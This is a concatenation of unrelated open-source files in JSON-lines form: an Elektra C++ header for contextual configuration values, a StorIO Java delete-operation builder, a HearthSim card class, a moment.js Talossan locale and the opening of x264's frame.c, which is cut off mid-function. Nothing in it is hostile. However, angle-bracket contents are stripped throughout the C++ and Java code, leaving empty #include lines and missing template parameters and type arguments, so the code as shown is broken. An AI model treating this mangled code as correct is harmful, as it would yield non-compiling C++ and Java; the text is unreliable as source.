ELEKTRA_KDBVALUE_HPP\n#define ELEKTRA_KDBVALUE_HPP\n\n#include \n\n#ifdef HAVE_KDBCONFIG_H\n#include \n#else\n#define DEBUG 0\n#define VERBOSE 0\n#endif\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include // for elektraLookupOptions\n#include \n\n// #include // for debugging (to see values of internal structures)\n\nnamespace kdb\n{\n\n\n// some widely used interfaces\n\n/**\n * @brief This type is being used as bottom type that always fails.\n */\nclass none_t\n{\n};\n\ntemplate <>\ninline void Key::set (none_t)\n{\n}\n\ntemplate <>\ninline none_t Key::get () const\n{\n\tnone_t ret;\n\treturn ret;\n}\n\n\n/**\n * @brief Base class for all layers.\n */\nclass Layer\n{\npublic:\n\tvirtual ~Layer (){};\n\tvirtual std::string id () const = 0;\n\tvirtual std::string operator() () const = 0;\n};\n\n/**\n * @brief Everything implementing this interface can be used as layer\n *\n * Different from \"Layer\" objects they will not be constructed on activation\n * but instead only the WrapLayer will be constructed and the wrapped object\n * will be passed along by reference.\n *\n * @note the lifetime must be beyond layer deactivation!\n */\nclass Wrapped\n{\npublic:\n\tvirtual ~Wrapped (){};\n\tvirtual std::string layerId () const = 0;\n\tvirtual std::string layerVal () const = 0;\n};\n\nclass WrapLayer : public Layer\n{\npublic:\n\texplicit WrapLayer (Wrapped const & wrapped) : m_wrapped (wrapped)\n\t{\n\t}\n\n\tvirtual ~WrapLayer (){};\n\n\tvirtual std::string id () const\n\t{\n\t\treturn m_wrapped.layerId ();\n\t}\n\n\tvirtual std::string operator() () const\n\t{\n\t\treturn m_wrapped.layerVal ();\n\t}\n\nprivate:\n\tWrapped const & m_wrapped;\n};\n\nclass KeyValueLayer : public kdb::Layer\n{\npublic:\n\tKeyValueLayer (std::string key, std::string value) : m_key (std::move (key)), m_value (std::move (value))\n\t{\n\t}\n\n\tvirtual ~KeyValueLayer (){};\n\n\tstd::string id () const override\n\t{\n\t\treturn m_key;\n\t}\n\tstd::string operator() () const override\n\t{\n\t\treturn m_value;\n\t}\n\nprivate:\n\tstd::string m_key;\n\tstd::string m_value;\n};\n\n/**\n * @brief Base class for values to be observed.\n *\n * updateContext() is called whenever a context tells a value that it\n * should reevaluate its name and update its cache.\n */\nclass ValueObserver\n{\npublic:\n\tvirtual ~ValueObserver () = 0;\n\tvirtual void updateContext (bool write = true) const = 0;\n\tvirtual kdb::Key getDepKey () const = 0;\n\n\ttypedef std::reference_wrapper reference;\n};\n\n/**\n * @brief Needed to put a ValueObserver in a map\n *\n * @return Comparison result\n */\ninline bool operator< (ValueObserver const & lhs, ValueObserver const & rhs)\n{\n\treturn &lhs < &rhs;\n}\n\ninline ValueObserver::~ValueObserver ()\n{\n}\n\n\nclass ValueSubject\n{\npublic:\n\tvirtual void notifyInThread () = 0;\n};\n\n/**\n * @brief Used by contexts for callbacks (to run code using a mutex).\n *\n * Following scenarios are possible:\n * !oldName && !newName: execute code, do nothing else\n * !oldName && newName: attach\n * oldName && newName: reattach\n * oldName == newName: assignment, attach for inter-thread updates\n * oldName && !newName: detach\n */\nstruct Command\n{\npublic:\n\ttypedef std::pair Pair;\n\t/**\n\t * @brief Typedef for function that returns oldKey, newKey pair\n\t */\n\ttypedef std::function Func;\n\tCommand (ValueSubject const & v_, Func & execute_, bool hasChanged_ = false)\n\t: v (const_cast (v_)), execute (execute_), hasChanged (hasChanged_), oldKey (), newKey ()\n\t{\n\t}\n\n\tPair operator() ()\n\t{\n\t\treturn execute ();\n\t}\n\n\tValueSubject & v; // this pointer\n\tFunc & execute;\t // to be executed within lock\n\tbool hasChanged; // if the value (m_cache) has changed and value propagation is needed\n\tstd::string oldKey; // old name before assignment\n\tstd::string newKey; // new name after assignment\n};\n\n// Default Policies for Value\n\nclass NoContext\n{\npublic:\n\t/**\n\t * @brief attach a new value\n\t *\n\t * NoContext will never update anything\n\t */\n\tvoid attachByName (ELEKTRA_UNUSED std::string const & key_name, ELEKTRA_UNUSED ValueObserver & ValueObserver)\n\t{\n\t}\n\n\t/**\n\t * @brief The evaluated equals the non-evaluated name!\n\t *\n\t * @return NoContext always returns the same string\n\t */\n\tstd::string evaluate (std::string const & key_name) const\n\t{\n\t\treturn key_name;\n\t}\n\n\tstd::string evaluate (std::string const & key_name,\n\t\t\t std::function const &) const\n\t{\n\t\treturn key_name;\n\t}\n\n\t/**\n\t * @brief (Re)attaches a ValueSubject to a thread or simply\n\t * execute code in a locked section.\n\t *\n\t * NoContext just executes the function and does not\n\t * attach/reattach/detach\n\t *\n\t * @param c the command to apply\n\t */\n\tvoid execute (Command & c)\n\t{\n\t\tc ();\n\t}\n};\n\n/**\n * @brief Implements lookup with spec.\n */\nclass DefaultGetPolicy\n{\npublic:\n\tstatic Key get (KeySet & ks, Key const & spec)\n\t{\n\t\treturn ks.lookup (spec, ckdb::KDB_O_SPEC | ckdb::KDB_O_CREATE);\n\t}\n};\n\n/**\n * @brief Implements creating user/ key when key is not found.\n */\nclass DefaultSetPolicy\n{\npublic:\n\tstatic Key set (KeySet & ks, Key const & spec)\n\t{\n\t\treturn setWithNamespace (ks, spec, \"user\");\n\t}\n\n\tstatic Key setWithNamespace (KeySet & ks, Key const & spec, std::string const & ns)\n\t{\n\t\tstd::string const & name = spec.getName ();\n\n\t\tkdb::Key k (ns + \"/\" + name, KEY_END);\n\t\tks.append (k);\n\n\t\treturn k;\n\t}\n};\n\nclass DefaultWritePolicy\n{\npublic:\n\tstatic const bool allowed = true;\n};\n\nclass ReadOnlyPolicy\n{\npublic:\n\tstatic const bool allowed = false;\n};\n\nclass DefaultObserverPolicy\n{\npublic:\n\ttypedef double type;\n};\n\nclass NoLockPolicy\n{\npublic:\n\tvoid lock ()\n\t{\n\t}\n\tvoid unlock ()\n\t{\n\t}\n};\n\n/*\n * This technique with the PolicySelector and Discriminator is taken\n * from the book \"C++ Templates - The Complete Guide\"\n * by David Vandevoorde and Nicolai M. Josuttis, Addison-Wesley, 2002\n * in Chapter 16 Templates and Inheritance: Named Template Arguments\n *\n * The technique allows users of the class Value to use any number\n * and order of policies as desired.\n */\n\n\ntemplate \nclass Discriminator : public Base\n{\n};\n\ntemplate \nclass PolicySelector : public Discriminator,\n\t\t public Discriminator,\n\t\t public Discriminator,\n\t\t public Discriminator,\n\t\t public Discriminator,\n\t\t public Discriminator\n{\n};\n\nclass DefaultPolicies\n{\npublic:\n\ttypedef DefaultGetPolicy GetPolicy;\n\ttypedef DefaultSetPolicy SetPolicy;\n\ttypedef NoContext ContextPolicy;\n\ttypedef DefaultWritePolicy WritePolicy;\n\ttypedef DefaultObserverPolicy ObserverPolicy;\n\ttypedef NoLockPolicy LockPolicy;\n};\n\nclass DefaultPolicyArgs : virtual public DefaultPolicies\n{\n};\n\n\n// class templates to override the default policy values\n\n/// Needed by the user to set one of the policies\n///\n/// @tparam Policy\ntemplate \nclass GetPolicyIs : virtual public DefaultPolicies\n{\npublic:\n\ttypedef Policy GetPolicy;\n};\n\n\n/// Needed by the user to set one of the policies\n///\n/// @tparam Policy\ntemplate \nclass SetPolicyIs : virtual public DefaultPolicies\n{\npublic:\n\ttypedef Policy SetPolicy;\n};\n\n\n/// Needed by the user to set one of the policies\n///\n/// @tparam Policy\ntemplate \nclass ContextPolicyIs : virtual public DefaultPolicies\n{\npublic:\n\ttypedef Policy ContextPolicy;\n};\n\n\n/// Needed by the user to set one of the policies\n///\n/// @tparam Policy\ntemplate \nclass WritePolicyIs : virtual public DefaultPolicies\n{\npublic:\n\ttypedef Policy WritePolicy;\n};\n\n\n/// Needed by the user to set one of the policies\n///\n/// @tparam Policy\ntemplate \nclass ObserverPolicyIs : virtual public DefaultPolicies\n{\npublic:\n\ttypedef Policy ObserverPolicy;\n};\n\n\n/// Needed by the user to set one of the policies\n///\n/// @tparam Policy\ntemplate \nclass LockPolicyIs : virtual public DefaultPolicies\n{\npublic:\n\ttypedef Policy LockPolicy;\n};\n\n\n// standard types\n\ntemplate \nclass Value : public ValueObserver, public ValueSubject, public Wrapped\n{\npublic:\n\ttypedef T type;\n\n\ttypedef PolicySelector Policies;\n\n\tValue (const Value &) = default;\n\n\t// not to be constructed yourself\n\tValue (\n\t\tKeySet & ks, typename Policies::ContextPolicy & context_, kdb::Key spec)\n\t: m_cache (), m_hasChanged (false), m_ks (ks), m_context (context_), m_spec (spec)\n\t{\n\t\tassert (m_spec.getName ()[0] == '/' && \"spec keys are not yet supported\");\n\t\tm_context.attachByName (m_spec.getName (), *this);\n\t\tCommand::Func fun = [this] () -> Command::Pair {\n\t\t\tthis->unsafeUpdateKeyUsingContext (m_context.evaluate (m_spec.getName ()));\n\t\t\tthis->unsafeSyncCache (); // set m_cache\n\t\t\treturn std::make_pair (\"\", m_key.getName ());\n\t\t};\n\t\tCommand command (*this, fun);\n\t\tm_context.execute (command);\n\t}\n\n\t~Value ()\n\t{\n\t\tCommand::Func fun = [this] () -> Command::Pair {\n\t\t\tstd::string oldName = m_key.getName ();\n\t\t\tm_key = static_cast (nullptr);\n\t\t\t// after destructor we do not need to care about\n\t\t\t// invariant anymore. But we need to care about\n\t\t\t// thread safe m_key.\n\t\t\treturn std::make_pair (oldName, \"\");\n\t\t};\n\t\tCommand command (*this, fun);\n\t\tm_context.execute (command);\n\t}\n\n\ttypedef Value V;\n\n\tV const & operator= (type n)\n\t{\n\t\tstatic_assert (Policies::WritePolicy::allowed, \"read only contextual value\");\n\t\tm_cache = n;\n\t\tm_hasChanged = true;\n\t\tsyncKeySet ();\n\n\t\treturn *this;\n\t}\n\n\ttype operator++ ()\n\t{\n\t\tstatic_assert (Policies::WritePolicy::allowed, \"read only contextual value\");\n\t\ttype ret = ++m_cache;\n\t\tm_hasChanged = true;\n\t\tsyncKeySet ();\n\t\treturn ret;\n\t}\n\n\ttype operator++ (int)\n\t{\n\t\tstatic_assert (Policies::WritePolicy::allowed, \"read only contextual value\");\n\t\ttype ret = m_cache++;\n\t\tm_hasChanged = true;\n\t\tsyncKeySet ();\n\t\treturn ret;\n\t}\n\n\ttype operator-- ()\n\t{\n\t\tstatic_assert (Policies::WritePolicy::allowed, \"read only contextual value\");\n\t\ttype ret = --m_cache;\n\t\tm_hasChanged = true;\n\t\tsyncKeySet ();\n\t\treturn ret;\n\t}\n\n\ttype operator-- (int)\n\t{\n\t\tstatic_assert (Policies::WritePolicy::allowed, \"read only contextual value\");\n\t\ttype ret = m_cache--;\n\t\tm_hasChanged = true;\n\t\tsyncKeySet ();\n\t\treturn ret;\n\t}\n\n\tV & operator= (V const & rhs)\n\t{\n\t\tstatic_assert (Policies::WritePolicy::allowed, \"read only contextual value\");\n\t\tif (this != &rhs)\n\t\t{\n\t\t\tm_cache = rhs;\n\t\t\tm_hasChanged = true;\n\t\t\tsyncKeySet ();\n\t\t}\n\t\treturn *this;\n\t}\n\n#define ELEKTRA_DEFINE_OPERATOR(op) \\\n\tV & operator op (type const & rhs) \\\n\t{ \\\n\t\tstatic_assert (Policies::WritePolicy::allowed, \"read only contextual value\"); \\\n\t\tm_cache op rhs; \\\n\t\tm_hasChanged = true; \\\n\t\tsyncKeySet (); \\\n\t\treturn *this; \\\n\t}\n\n\tELEKTRA_DEFINE_OPERATOR (-=)\n\tELEKTRA_DEFINE_OPERATOR (+=)\n\tELEKTRA_DEFINE_OPERATOR (*=)\n\tELEKTRA_DEFINE_OPERATOR (/=)\n\tELEKTRA_DEFINE_OPERATOR (%=)\n\tELEKTRA_DEFINE_OPERATOR (^=)\n\tELEKTRA_DEFINE_OPERATOR (&=)\n\tELEKTRA_DEFINE_OPERATOR (|=)\n\n#undef ELEKTRA_DEFINE_OPERATOR\n\n\ttype operator- () const\n\t{\n\t\treturn -m_cache;\n\t}\n\n\ttype operator~ () const\n\t{\n\t\treturn ~m_cache;\n\t}\n\n\ttype operator! () const\n\t{\n\t\treturn !m_cache;\n\t}\n\n\t// type conversion\n\toperator type () const\n\t{\n\t\treturn m_cache;\n\t}\n\n\t/**\n\t * @return the context bound to the value\n\t */\n\ttypename Policies::ContextPolicy & context () const\n\t{\n\t\t/// We allow manipulation of context for const\n\t\t/// objects\n\t\treturn const_cast (m_context);\n\t}\n\n\t/**\n\t * @brief Shortcut for context()\n\t *\n\t * @see context()\n\t */\n\ttypename Policies::ContextPolicy & c () const\n\t{\n\t\treturn context ();\n\t}\n\n\t/**\n\t * @return Specification Key\n\t */\n\tKey const & getSpec () const\n\t{\n\t\treturn m_spec;\n\t}\n\n\t/**\n\t * @brief Returns the current name of contextual value\n\t *\n\t * @return name under contextual interpretation\n\t */\n\tstd::string getName () const\n\t{\n\t\treturn m_key.getName ();\n\t}\n\n\tstd::string layerId () const override\n\t{\n\t\tconst Key meta = m_spec.getMeta (\"layer/name\");\n\t\tif (meta) return meta.getString ();\n\t\treturn m_spec.getBaseName ();\n\t}\n\n\tstd::string layerVal () const override\n\t{\n\t\treturn m_key.getString ();\n\t}\n\n\n\t/**\n\t * @brief Sync key(set) to cache\n\t */\n\tvoid syncCache () const\n\t{\n\t\tCommand::Func fun = [this] () -> Command::Pair {\n\t\t\tstd::string const & oldKey = m_key.getName ();\n\t\t\tthis->unsafeLookupKey ();\n\t\t\tthis->unsafeSyncCache ();\n\t\t\treturn std::make_pair (oldKey, m_key.getName ());\n\t\t};\n\t\tCommand command (*this, fun);\n\t\tm_context.execute (command);\n\t}\n\n\t/**\n\t * @brief Sync cache to key(set)\n\t */\n\tvoid syncKeySet () const\n\t{\n\t\tCommand::Func fun = [this] () -> Command::Pair {\n\t\t\tstd::string const & oldKey = m_key.getName ();\n\t\t\tthis->unsafeSyncKeySet ();\n\t\t\treturn std::make_pair (oldKey, m_key.getName ());\n\t\t};\n\t\tCommand command (*this, fun, m_hasChanged);\n\t\tm_context.execute (command);\n\t}\n\nprivate:\n\tvoid unsafeUpdateKeyUsingContext (std::string const & evaluatedName) const\n\t{\n\t\tKey spec (m_spec.dup ());\n\t\tspec.setName (evaluatedName);\n\t\tm_key = Policies::GetPolicy::get (m_ks, spec);\n\t\tassert (m_key);\n\t}\n\n\tvoid unsafeLookupKey () const\n\t{\n\t\t// Key spec (m_spec.dup ());\n\t\t// spec.setName (m_context.evaluate(m_spec.getName()));\n\t\t// m_key = Policies::GetPolicy::get (m_ks, spec);\n\t\tm_key = Policies::GetPolicy::get (m_ks, m_key);\n\t\tassert (m_key);\n\t}\n\n\t/**\n\t * @brief Unsafe: Execute this method *only* in a Command execution\n\t */\n\tvoid unsafeSyncCache () const\n\t{\n\t\tassert (m_key);\n\n#if DEBUG && VERBOSE\n\t\tstd::cout << \"will get name: \" << m_key.getName () << \" value: \" << m_key.getString () << std::endl;\n#endif\n\n\t\tm_cache = m_key.get ();\n\t}\n\n\t/**\n\t * @brief Execute this method *only* in a Command execution\n\t */\n\tvoid unsafeSyncKeySet () const\n\t{\n\t\tif (m_hasChanged && m_key.getName ().at (0) == '/')\n\t\t{\n\t\t\tm_hasChanged = false;\n\t\t\tKey spec (m_spec.dup ());\n\t\t\tspec.setName (m_key.getName ());\n\t\t\tm_key = Policies::SetPolicy::set (m_ks, spec);\n\t\t}\n\t\tassert (m_key);\n\t\tm_key.set (m_cache);\n\n#if DEBUG && VERBOSE\n\t\tstd::cout << \"set name: \" << m_key.getName () << \" value: \" << m_key.getString () << std::endl;\n#endif\n\t}\n\n\t/**\n\t * @brief Update to new value because of assignment\n\t */\n\tvoid notifyInThread () override\n\t{\n\t\tunsafeSyncCache (); // always called from save context\n\t}\n\n\n\tvirtual void updateContext (bool write) const override\n\t{\n\t\tstd::string evaluatedName = m_context.evaluate (m_spec.getName ());\n#if DEBUG && VERBOSE\n\t\tstd::cout << \"update context \" << evaluatedName << \" from \" << m_spec.getName () << \" with write \" << write << std::endl;\n#endif\n\n\t\tCommand::Func fun = [this, &evaluatedName, write] () -> Command::Pair {\n\t\t\tstd::string oldKey = m_key.getName ();\n\t\t\tif (write && evaluatedName == oldKey)\n\t\t\t{\n\t\t\t\t// nothing changed, same name\n\t\t\t\treturn std::make_pair (evaluatedName, evaluatedName);\n\t\t\t}\n\n\t\t\tif (write)\n\t\t\t{\n\t\t\t\tthis->unsafeSyncKeySet (); // flush out what currently is in cache\n\t\t\t}\n\n\t\t\tthis->unsafeUpdateKeyUsingContext (evaluatedName);\n\t\t\tthis->unsafeSyncCache (); // read what we have under new context\n\n\t\t\treturn std::make_pair (oldKey, m_key.getName ());\n\t\t};\n\t\tCommand command (*this, fun);\n\t\tm_context.execute (command);\n\t}\n\n\tvirtual kdb::Key getDepKey () const override\n\t{\n\t\tkdb::Key dep (\"/\" + layerId (), KEY_END);\n\t\t// rename to /layer/order\n\t\tconst Key meta = m_spec.getMeta (\"layer/order\");\n\t\tif (meta)\n\t\t{\n\t\t\tdep.setMeta (\"order\", meta.getString ());\n\t\t}\n\t\tm_context.evaluate (m_spec.getName (), [&] (std::string const & current_id, std::string &, bool) {\n#if DEBUG && VERBOSE\n\t\t\tstd::cout << \"add dep \" << current_id << \" to \" << dep.getName () << std::endl;\n#endif\n\t\t\tckdb::elektraMetaArrayAdd (*dep, \"dep\", (\"/\" + current_id).c_str ());\n\t\t\treturn false;\n\t\t});\n\t\treturn dep;\n\t}\n\nprivate:\n\t/**\n\t * @brief A transient mutable cache for very fast read-access.\n\t */\n\tmutable type m_cache;\n\n\t/**\n\t * @brief triggers transition from transient to persistent keys\n\t * @retval true if m_cache was changed\n\t */\n\tmutable bool m_hasChanged;\n\n\t/**\n\t * @brief Reference to the keyset in use\n\t *\n\t * only accessed using\n\t * Command, that might be multi-thread safe depending on\n\t * ContextPolicyIs\n\t */\n\tKeySet & m_ks;\n\n\t/**\n\t * @brief The context that might be\n\t *\n\t * - thread safe\n\t * - allow COP\n\t */\n\ttypename Policies::ContextPolicy & m_context;\n\n\t/**\n\t * @brief The specification key\n\t *\n\t * Is only read and will not be changed.\n\t *\n\t * Might start with / or with spec/ (not implemented yet)\n\t */\n\tKey m_spec;\n\n\t/**\n\t * @brief The current key the Value is bound to.\n\t *\n\t * @invariant: Is never a null key\n\t */\n\tmutable Key m_key;\n};\n\ntemplate \nstd::ostream & operator<< (std::ostream & os,\n\t\t\t Value const & v)\n{\n\tos << static_cast (v);\n\treturn os;\n}\n} // namespace kdb\n\n#endif\n"} -{"text": "package com.pushtorefresh.storio3.contentresolver.operations.delete;\n\nimport android.support.annotation.NonNull;\nimport android.support.annotation.WorkerThread;\n\nimport com.pushtorefresh.storio3.Interceptor;\nimport com.pushtorefresh.storio3.contentresolver.StorIOContentResolver;\nimport com.pushtorefresh.storio3.contentresolver.queries.DeleteQuery;\nimport com.pushtorefresh.storio3.operations.PreparedCompletableOperation;\n\nimport java.util.Collection;\n\nimport static com.pushtorefresh.storio3.impl.ChainImpl.buildChain;\nimport static com.pushtorefresh.storio3.internal.Checks.checkNotNull;\n\n/**\n * Prepared Delete Operation for {@link StorIOContentResolver}.\n *\n * @param type of result of Delete Operation.\n */\npublic abstract class PreparedDelete implements\n PreparedCompletableOperation {\n\n @NonNull\n protected final StorIOContentResolver storIOContentResolver;\n\n PreparedDelete(@NonNull StorIOContentResolver storIOContentResolver) {\n this.storIOContentResolver = storIOContentResolver;\n }\n\n /**\n * Executes Delete Operation immediately in current thread.\n *

    \n * Notice: This is blocking I/O operation that should not be executed on the Main Thread,\n * it can cause ANR (Activity Not Responding dialog), block the UI and drop animations frames.\n * So please, call this method on some background thread. See {@link WorkerThread}.\n *\n * @return non-null result of Delete Operation.\n */\n @WorkerThread\n @NonNull\n @Override\n public Result executeAsBlocking() {\n return buildChain(storIOContentResolver.interceptors(), getRealCallInterceptor())\n .proceed(this);\n }\n\n @NonNull\n protected abstract Interceptor getRealCallInterceptor();\n\n /**\n * Builder for {@link PreparedDelete}.\n */\n public static class Builder {\n\n @NonNull\n private final StorIOContentResolver storIOContentResolver;\n\n /**\n * Creates new builder for {@link PreparedDelete}.\n *\n * @param storIOContentResolver non-null instance of {@link StorIOContentResolver}.\n */\n public Builder(@NonNull StorIOContentResolver storIOContentResolver) {\n checkNotNull(storIOContentResolver, \"Please specify StorIOContentResolver\");\n this.storIOContentResolver = storIOContentResolver;\n }\n\n /**\n * Creates builder for {@link PreparedDeleteByQuery}.\n *\n * @param deleteQuery non-null delete query.\n * @return builder for {@link PreparedDeleteByQuery}.\n */\n @NonNull\n public PreparedDeleteByQuery.Builder byQuery(@NonNull DeleteQuery deleteQuery) {\n return new PreparedDeleteByQuery.Builder(storIOContentResolver, deleteQuery);\n }\n\n /**\n * Creates builder for {@link PreparedDeleteCollectionOfObjects}.\n *\n * @param objects non-null collection of objects to delete.\n * @param type of objects.\n * @return builder for {@link PreparedDeleteCollectionOfObjects}.\n */\n @NonNull\n public PreparedDeleteCollectionOfObjects.Builder objects(@NonNull Collection objects) {\n return new PreparedDeleteCollectionOfObjects.Builder(storIOContentResolver, objects);\n }\n\n /**\n * Creates builder for {@link PreparedDeleteObject}.\n *\n * @param object non-null object to delete.\n * @param type of object.\n * @return builder for {@link PreparedDeleteObject}.\n */\n @NonNull\n public PreparedDeleteObject.Builder object(@NonNull T object) {\n return new PreparedDeleteObject.Builder(storIOContentResolver, object);\n }\n }\n}\n"} -{"text": "package com.hearthsim.card.basic.minion;\n\nimport com.hearthsim.card.minion.Minion;\nimport com.hearthsim.card.minion.MinionBattlecryInterface;\nimport com.hearthsim.event.effect.EffectCharacter;\nimport com.hearthsim.event.effect.EffectCharacterDamage;\nimport com.hearthsim.event.filter.FilterCharacter;\nimport com.hearthsim.event.filter.FilterCharacterTargetedBattlecry;\n\npublic class FireElemental extends Minion implements MinionBattlecryInterface {\n\n /**\n * Battlecry: Deal 3 damage to a chosen target\n */\n private final static FilterCharacterTargetedBattlecry filter = new FilterCharacterTargetedBattlecry() {\n protected boolean includeEnemyHero() {\n return true;\n }\n protected boolean includeEnemyMinions() {\n return true;\n }\n protected boolean includeOwnHero() {\n return true;\n }\n protected boolean includeOwnMinions() {\n return true;\n }\n };\n\n private final static EffectCharacter battlecryAction = new EffectCharacterDamage(3);\n\n public FireElemental() {\n super();\n }\n\n @Override\n public FilterCharacter getBattlecryFilter() {\n return FireElemental.filter;\n }\n\n @Override\n public EffectCharacter getBattlecryEffect() {\n return FireElemental.battlecryAction;\n }\n}\n"} -{"text": "//! moment.js locale configuration\n//! locale : Talossan [tzl]\n//! author : Robin van der Vliet : https://github.com/robin0van0der0v\n//! author : Iust\u00ec Canun\n\nimport moment from '../moment';\n\n// After the year there should be a slash and the amount of years since December 26, 1979 in Roman numerals.\n// This is currently too difficult (maybe even impossible) to add.\nexport default moment.defineLocale('tzl', {\n months : 'Januar_Fevraglh_Mar\u00e7_Avr\u00efu_Mai_G\u00fcn_Julia_Guscht_Setemvar_Listop\u00e4ts_Noemvar_Zecemvar'.split('_'),\n monthsShort : 'Jan_Fev_Mar_Avr_Mai_G\u00fcn_Jul_Gus_Set_Lis_Noe_Zec'.split('_'),\n weekdays : 'S\u00faladi_L\u00fane\u00e7i_Maitzi_M\u00e1rcuri_Xh\u00faadi_Vi\u00e9ner\u00e7i_S\u00e1turi'.split('_'),\n weekdaysShort : 'S\u00fal_L\u00fan_Mai_M\u00e1r_Xh\u00fa_Vi\u00e9_S\u00e1t'.split('_'),\n weekdaysMin : 'S\u00fa_L\u00fa_Ma_M\u00e1_Xh_Vi_S\u00e1'.split('_'),\n longDateFormat : {\n LT : 'HH.mm',\n LTS : 'HH.mm.ss',\n L : 'DD.MM.YYYY',\n LL : 'D. MMMM [dallas] YYYY',\n LLL : 'D. MMMM [dallas] YYYY HH.mm',\n LLLL : 'dddd, [li] D. MMMM [dallas] YYYY HH.mm'\n },\n meridiemParse: /d\\'o|d\\'a/i,\n isPM : function (input) {\n return 'd\\'o' === input.toLowerCase();\n },\n meridiem : function (hours, minutes, isLower) {\n if (hours > 11) {\n return isLower ? 'd\\'o' : 'D\\'O';\n } else {\n return isLower ? 'd\\'a' : 'D\\'A';\n }\n },\n calendar : {\n sameDay : '[oxhi \u00e0] LT',\n nextDay : '[dem\u00e0 \u00e0] LT',\n nextWeek : 'dddd [\u00e0] LT',\n lastDay : '[ieiri \u00e0] LT',\n lastWeek : '[s\u00fcr el] dddd [lasteu \u00e0] LT',\n sameElse : 'L'\n },\n relativeTime : {\n future : 'osprei %s',\n past : 'ja%s',\n s : processRelativeTime,\n m : processRelativeTime,\n mm : processRelativeTime,\n h : processRelativeTime,\n hh : processRelativeTime,\n d : processRelativeTime,\n dd : processRelativeTime,\n M : processRelativeTime,\n MM : processRelativeTime,\n y : processRelativeTime,\n yy : processRelativeTime\n },\n dayOfMonthOrdinalParse: /\\d{1,2}\\./,\n ordinal : '%d.',\n week : {\n dow : 1, // Monday is the first day of the week.\n doy : 4 // The week that contains Jan 4th is the first week of the year.\n }\n});\n\nfunction processRelativeTime(number, withoutSuffix, key, isFuture) {\n var format = {\n 's': ['viensas secunds', '\\'iensas secunds'],\n 'm': ['\\'n m\u00edut', '\\'iens m\u00edut'],\n 'mm': [number + ' m\u00eduts', '' + number + ' m\u00eduts'],\n 'h': ['\\'n \u00feora', '\\'iensa \u00feora'],\n 'hh': [number + ' \u00feoras', '' + number + ' \u00feoras'],\n 'd': ['\\'n ziua', '\\'iensa ziua'],\n 'dd': [number + ' ziuas', '' + number + ' ziuas'],\n 'M': ['\\'n mes', '\\'iens mes'],\n 'MM': [number + ' mesen', '' + number + ' mesen'],\n 'y': ['\\'n ar', '\\'iens ar'],\n 'yy': [number + ' ars', '' + number + ' ars']\n };\n return isFuture ? format[key][0] : (withoutSuffix ? format[key][0] : format[key][1]);\n}\n\n"} -{"text": "/*****************************************************************************\n * frame.c: frame handling\n *****************************************************************************\n * Copyright (C) 2003-2018 x264 project\n *\n * Authors: Laurent Aimar \n * Loren Merritt \n * Fiona Glaser \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.\n *\n * This program is also available under a commercial proprietary license.\n * For more information, contact us at licensing@x264.com.\n *****************************************************************************/\n\n#include \"common.h\"\n\nstatic int align_stride( int x, int align, int disalign )\n{\n x = ALIGN( x, align );\n if( !(x&(disalign-1)) )\n x += align;\n return x;\n}\n\nstatic int align_plane_size( int x, int disalign )\n{\n if( !(x&(disalign-1)) )\n x += 128;\n return x;\n}\n\nstatic int frame_internal_csp( int external_csp )\n{\n switch( external_csp & X264_CSP_MASK )\n {\n case X264_CSP_NV12:\n case X264_CSP_NV21:\n case X264_CSP_I420:\n case X264_CSP_YV12:\n return X264_CSP_NV12;\n case X264_CSP_NV16:\n case X264_CSP_I422:\n case X264_CSP_YV16:\n case X264_CSP_YUYV:\n case X264_CSP_UYVY:\n case X264_CSP_V210:\n return X264_CSP_NV16;\n case X264_CSP_I444:\n case X264_CSP_YV24:\n case X264_CSP_BGR:\n case X264_CSP_BGRA:\n case X264_CSP_RGB:\n return X264_CSP_I444;\n default:\n return X264_CSP_NONE;\n }\n}\n\nstatic x264_frame_t *frame_new( x264_t *h, int b_fdec )\n{\n x264_frame_t *frame;\n int i_csp = frame_internal_csp( h->param.i_csp );\n int i_mb_count = h->mb.i_mb_count;\n int i_stride, i_width, i_lines, luma_plane_count;\n int i_padv = PADV << PARAM_INTERLACED;\n int align = 16;\n#if ARCH_X86 || ARCH_X86_64\n if( h->param.cpu&X264_CPU_CACHELINE_64 || h->param.cpu&X264_CPU_AVX512 )\n align = 64;\n else if( h->param.cpu&X264_CPU_CACHELINE_32 || h->param.cpu&X264_CPU_AVX )\n align = 32;\n#endif\n#if ARCH_PPC\n int disalign = 1<<9;\n#else\n int disalign = 1<<10;\n#endif\n\n CHECKED_MALLOCZERO( frame, sizeof(x264_frame_t) );\n PREALLOC_INIT\n\n /* allocate frame data (+64 for extra data for me) */\n i_width = h->mb.i_mb_width*16;\n i_lines = h->mb.i_mb_height*16;\n i_stride = align_stride( i_width + 2*PADH, align, disalign );\n\n if( i_csp == X264_CSP_NV12 || i_csp == X264_CSP_NV16 )\n {\n luma_plane_count = 1;\n frame->i_plane = 2;\n for( int i = 0; i < 2; i++ )\n {\n frame->i_width[i] = i_width >> i;\n frame->i_lines[i] = i_lines >> (i && i_csp == X264_CSP_NV12);\n frame->i_stride[i] = i_stride;\n }\n }\n else if( i_csp == X264_CSP_I444 )\n {\n luma_plane_count = 3;\n frame->i_plane = 3;\n for( int i = 0; i < 3; i++ )\n {\n frame->i_width[i] = i_width;\n frame->i_lines[i] = i_lines;\n frame->i_stride[i] = i_stride;\n }\n }\n else\n goto fail;\n\n frame->i_csp = i_csp;\n frame->i_width_lowres = frame->i_width[0]/2;\n frame->i_lines_lowres = frame->i_lines[0]/2;\n frame->i_stride_lowres = align_stride( frame->i_width_lowres + 2*PADH, align, disalign<<1 );\n\n for( int i = 0; i < h->param.i_bframe + 2; i++ )\n for( int j = 0; j < h->param.i_bframe + 2; j++ )\n PREALLOC( frame->i_row_satds[i][j], i_lines/16 * sizeof(int) );\n\n frame->i_poc = -1;\n frame->i_type = X264_TYPE_AUTO;\n frame->i_qpplus1 = X264_QP_AUTO;\n frame->i_pts = -1;\n frame->i_frame = -1;\n frame->i_frame_num = -1;\n frame->i_lines_completed = -1;\n frame->b_fdec = b_fdec;\n frame->i_pic_struct = PIC_STRUCT_AUTO;\n 